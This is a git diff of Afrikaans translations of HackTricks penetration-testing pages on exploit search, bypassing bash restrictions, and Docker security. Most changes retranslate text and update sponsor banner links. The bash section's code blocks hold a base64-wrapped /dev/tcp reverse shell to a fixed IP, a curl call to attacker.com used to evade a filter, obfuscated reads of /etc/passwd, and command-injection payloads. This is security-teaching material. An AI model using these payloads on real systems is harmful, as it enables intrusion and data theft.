900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
@ -836,7 +818,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -845,7 +827,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}

View file

@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Interessante bladsye om te kyk:**
@ -33,10 +33,10 @@ Kry Toegang Vandag:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
<details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
@ -17,20 +17,20 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Blaaier
Soek altyd in "google" of ander: **\<diens\_naam> \[weergawe\] uitbuit**
Soek altyd in "google" of ander: **\<diens\_naam> \[weergawe\] exploit**
Jy moet ook die **shodan** **uitbuitsoek** probeer vanaf [https://exploits.shodan.io/](https://exploits.shodan.io).
Jy moet ook die **shodan** **exploit-soektog** probeer vanaf [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit
Nuttig om uitbuite vir dienste in **exploitdb vanaf die konsole te soek.**
Nuttig om exploits vir dienste in **exploitdb vanaf die konsole te soek.**
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@ -63,10 +63,10 @@ Hierdie soek na exploits in ander databasisse: [https://sploitus.com/](https://s
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
<details>

View file

@ -8,19 +8,19 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
## Algemene Beperkingsontduiking
@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paaie en verbode woorde
### Omgangspaaie en verbode woorde
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -126,7 +126,7 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Oorsteek agterkant en streep
### Oorbrug rugslag en streepie
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
@ -150,7 +150,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
# Decimal IPs
127.0.0.1 == 2130706433
```
### Tydgebase data uitlekking
### Tydgebaseerde data-eksfiltrering
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
@ -165,7 +165,7 @@ Jy kan byvoorbeeld **burpcollab** of [**pingb**](http://pingb.in) gebruik.
### Ingeboude funksies
In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** **ingeboude funksies kan gebruik nie**, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** ingeboude funksies kan gebruik nie, dus jy behoort **al jou opsies te ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\
Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**:
```bash
# Get list of builtins
@ -223,7 +223,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potensiële regexes
### Bypass potensiële regexe
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
@ -317,7 +317,7 @@ ln /f*
```
## Lees-Slegs/Geen Uitvoer/Beperkte Distro Bypass
Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings** of selfs in 'n distrolose houer is, is daar steeds maniere om **arbitrêre binêre lêers uit te voer, selfs 'n skaal!:**
Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings** of selfs in 'n distrolose houer is, is daar steeds maniere om **arbitrêre bineêre lêers uit te voer, selfs 'n skaal!:**
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
@ -339,10 +339,10 @@ Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
<details>
@ -350,7 +350,7 @@ Kry Vandaag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Basiese Docker-enjinsikuriteit**
@ -30,31 +30,31 @@ Die **Docker-enjin** maak gebruik van die Linux-kernel se **Namespaces** en **Cg
### Veilige Toegang tot die Docker-enjin
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur HTTP benader word. Vir afstandstoegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker.
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur middel van HTTP benader word. Vir afgeleë toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker.
Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afstandstoegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg:
Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afgeleë toegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Egter, die blootstelling van die Docker daemon oor HTTP word nie aanbeveel nie weens sekuriteitskwessies. Dit word aanbeveel om verbindings te beveilig deur HTTPS te gebruik. Daar is twee hoofbenaderings om die verbinding te beveilig:
1. Die klient verifieer die bediener se identiteit.
1. Die klient verifieer die identiteit van die bediener.
2. Beide die klient en bediener verifieer mekaar se identiteit.
Sertifikate word gebruik om 'n bediener se identiteit te bevestig. Vir gedetailleerde voorbeelde van beide metodes, verwys na [**hierdie gids**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Sekuriteit van Houverbeeld
### Sekuriteit van Houverbeelding
Houverbeeld kan gestoor word in privaat of openbare repose. Docker bied verskeie stooropsies vir houverbeeld:
Houverbeeldings kan gestoor word in privaat of openbare repose. Docker bied verskeie stooropsies vir houverbeeldings:
* [**Docker Hub**](https://hub.docker.com): 'n Openbare registerdiens van Docker.
* [**Docker Registry**](https://github.com/docker/distribution): 'n oopbronprojek wat gebruikers toelaat om hul eie register te hê.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruiker-verifikasie en integrasie met LDAP-gidsdiens.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruikersverifikasie en integrasie met LDAP-gidsdiens.
### Beeldskandering
Houers kan **sekuriteitskwessies** hê weens die basisbeeld of die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer.
Houverhouers kan **sekuriteitskwessies** hê weens die basisbeeld of die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer.
Vir meer [**inligting lees hierdie**](https://docs.docker.com/engine/scan/).
@ -92,9 +92,9 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
Docker beeldondertekening verseker die veiligheid en integriteit van beelde wat in houers gebruik word. Hier is 'n beknopte verduideliking:
- **Docker Inhoudsvertroue** maak gebruik van die Notary-projek, gebaseer op The Update Framework (TUF), om beeldondertekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io).
- Om Docker inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie kenmerk is standaard af in Docker weergawe 1.10 en later.
- Met hierdie kenmerk geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word: [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- **Docker-inhoudsvertroue** maak gebruik van die Notary-projek, gebaseer op The Update Framework (TUF), om beeldondertekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io).
- Om Docker-inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie funksie is standaard af in Docker weergawe 1.10 en later.
- Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word: [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- 'n Poging om 'n ondertekende beeld met inhoudsvertroue geaktiveer af te trek, lei tot 'n "Geen vertroue data vir die nuutste" fout.
- Vir beeldstote na die eerste, vra Docker vir die wagwoord van die stoor sleutel om die beeld te onderteken.
@ -109,36 +109,36 @@ Wanneer jy oorskakel na Docker-gashere, is dit nodig om die hoof- en bewaarpleks
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik te bou en **werkstrome te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Kontainer-sekuriteitskenmerke
## Kontainer Sekuriteitskenmerke
<details>
<summary>Opsomming van Kontainer-sekuriteitskenmerke</summary>
<summary>Opsomming van Kontainer Sekuriteitskenmerke</summary>
**Hoofproses-isolasiekenmerke**
**Hoofproses Isolasiekenmerke**
In gekontainerde omgewings is die isolering van projekte en hul prosesse van uiterste belang vir sekuriteit en hulpbronbestuur. Hier is 'n vereenvoudigde verduideliking van sleutelkonsepte:
**Namespaces**
* **Doel**: Verseker isolering van hulpbronne soos prosesse, netwerke en lêersisteme. Veral in Docker hou namespaces 'n kontainer se prosesse geskei van die gasheer en ander kontainers.
* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende stelseloortjie) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolering bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit.
* **Beperking**: Die skep van nuwe namespaces laat nie toe dat 'n proses na die gasheer se verstek-namespaces terugkeer nie. Om die gasheer se namespaces binne te dring, sou 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
* **Doel**: Verseker isolasie van hulpbronne soos prosesse, netwerke, en lêersisteme. Veral in Docker hou namespaces 'n kontainer se prosesse geskei van die gasheer en ander kontainers.
* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende stelseloortjie) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit.
* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se verstek-namespaces nie. Om deur te dring na die gasheer se namespaces, sou 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik.
**Beheergroepe (CGroups)**
* **Funksie**: Primêr gebruik vir die toekenning van hulpbronne onder prosesse.
* **Sekuriteitaspek**: CGroups self bied nie isoleringsekuriteit nie, behalwe vir die `release_agent`-kenmerk, wat, indien verkeerd geconfigureer, moontlik uitgebuit kan word vir ongemagtigde toegang.
* **Sekuriteitaspek**: CGroups self bied nie isolasiesekuriteit nie, behalwe vir die `release_agent`-kenmerk, wat, indien verkeerd geconfigureer, potensieel uitgebuit kan word vir ongemagtigde toegang.
**Bevoegdheidsverlating**
**Bevoegdheidsverwerping**
* **Belangrikheid**: Dit is 'n kritieke sekuriteitskenmerk vir proses-isolasie.
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dat dit bevoorregte aksies kan uitvoer, aangesien die stelseloortjies sal misluk as gevolg van ontoereikende toestemmings.
* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dit om bevoorregte aksies uit te voer, aangesien die stelseloortjies sal misluk as gevolg van ontoereikende toestemmings.
Dit is die **oorblywende bevoegdhede** nadat die proses die ander laat val:
@ -163,15 +163,15 @@ Dit sal toelaat om kapasiteite, syscalls, toegang tot lêers en vouers te vermin
### Namespaces
**Namespaces** is 'n kenmerk van die Linux kernel wat **kernel hulpbronne verdeel** sodat een stel **prosesse** een stel **hulpbronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel hulpbronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel hulpbronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike hulpbronne. Hulpbronne kan in meervoudige ruimtes bestaan.
**Namespaces** is 'n kenmerk van die Linux-kernel wat **kernelbronne verdeel** sodat een stel **prosesse** een stel **bronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel bronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel bronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike bronne. Bronne kan in meervoudige ruimtes bestaan.
Docker maak gebruik van die volgende Linux kernel Namespaces om Kontainer isolasie te bereik:
Docker maak gebruik van die volgende Linux-kernel Namespaces om houer-isolasie te bereik:
* pid namespace
* mount namespace
* network namespace
* ipc namespace
* UTS namespace
* pid-namespace
* berg-namespace
* netwerk-namespace
* ipc-namespace
* UTS-namespace
Vir **meer inligting oor die namespaces** kyk na die volgende bladsy:
@ -181,8 +181,8 @@ Vir **meer inligting oor die namespaces** kyk na die volgende bladsy:
### cgroups
Linux kernel kenmerk **cgroups** bied die vermoë om **hulpbronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Kontainers te skep met behulp van die cgroup kenmerk wat hulpbronbeheer vir die spesifieke Kontainer moontlik maak.\
Hieronder is 'n Kontainer geskep met gebruikerspasgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat Kontainer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Kontainers dieselfde CPU-aandeel van 1024 het, kan elke Kontainer tot 33% van die CPU neem in geval van CPU-hulpbronstryd. blkio-weight is 'n verhouding wat Kontainer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000.
Linux-kernelkenmerk **cgroups** bied die vermoë om **bronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Houers te skep met behulp van die cgroup-funksie wat hulpbronnebeheer vir die spesifieke Houer moontlik maak.\
Hieronder is 'n Houer geskep met gebruikerspasiëntgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat die Houer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Houers dieselfde CPU-aandeel van 1024 het, kan elke Houer tot 33% van die CPU neem in geval van CPU-hulpbronstrydigheid. blkio-weight is 'n verhouding wat die Houer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -200,9 +200,9 @@ Vir meer inligting kyk:
### Bevoegdhede
Bevoegdhede maak **fyn beheer vir die bevoegdhede wat vir die rootgebruiker toegelaat kan word** moontlik. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker.
Bevoegdhede maak **fyn beheer vir die bevoegdhede wat aan die root-gebruiker toegelaat kan word**. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker.
Wanneer 'n docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om uit die isolasie te ontsnap**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie:
Wanneer 'n docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om te ontsnap uit die isolasie**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -227,12 +227,12 @@ Dit is 'n sekuriteitskenmerk wat Docker toelaat om **die syscalls te beperk** wa
### SELinux in Docker
* **Etiketteringstelsel**: SELinux ken 'n unieke etiket toe aan elke proses en lêersisteemobjek.
* **Beleidstoepassing**: Dit dwing sekuriteitsbeleide af wat definieer watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer.
* **Houerprosesetikette**: Wanneer houermasjiene houerprosesse inisieer, word hulle gewoonlik 'n beperkte SELinux-etiket toegewys, gewoonlik `container_t`.
* **Beleidshandhawing**: Dit dwing sekuriteitsbeleide af wat definieer watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer.
* **Houerprosesetikette**: Wanneer houermasjiene houerprosesse inisieer, word hulle gewoonlik toegewys aan 'n beperkte SELinux-etiket, gewoonlik `container_t`.
* **Lêeretikettering binne Houers**: Lêers binne die houer word gewoonlik geëtiketteer as `container_file_t`.
* **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t`-etiket slegs met lêers wat as `container_file_t` geëtiketteer is, kan interaksie hê (lees, skryf, uitvoer).
* **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t`-etiket slegs kan interaksie hê (lees, skryf, uitvoer) met lêers wat geëtiketteer is as `container_file_t`.
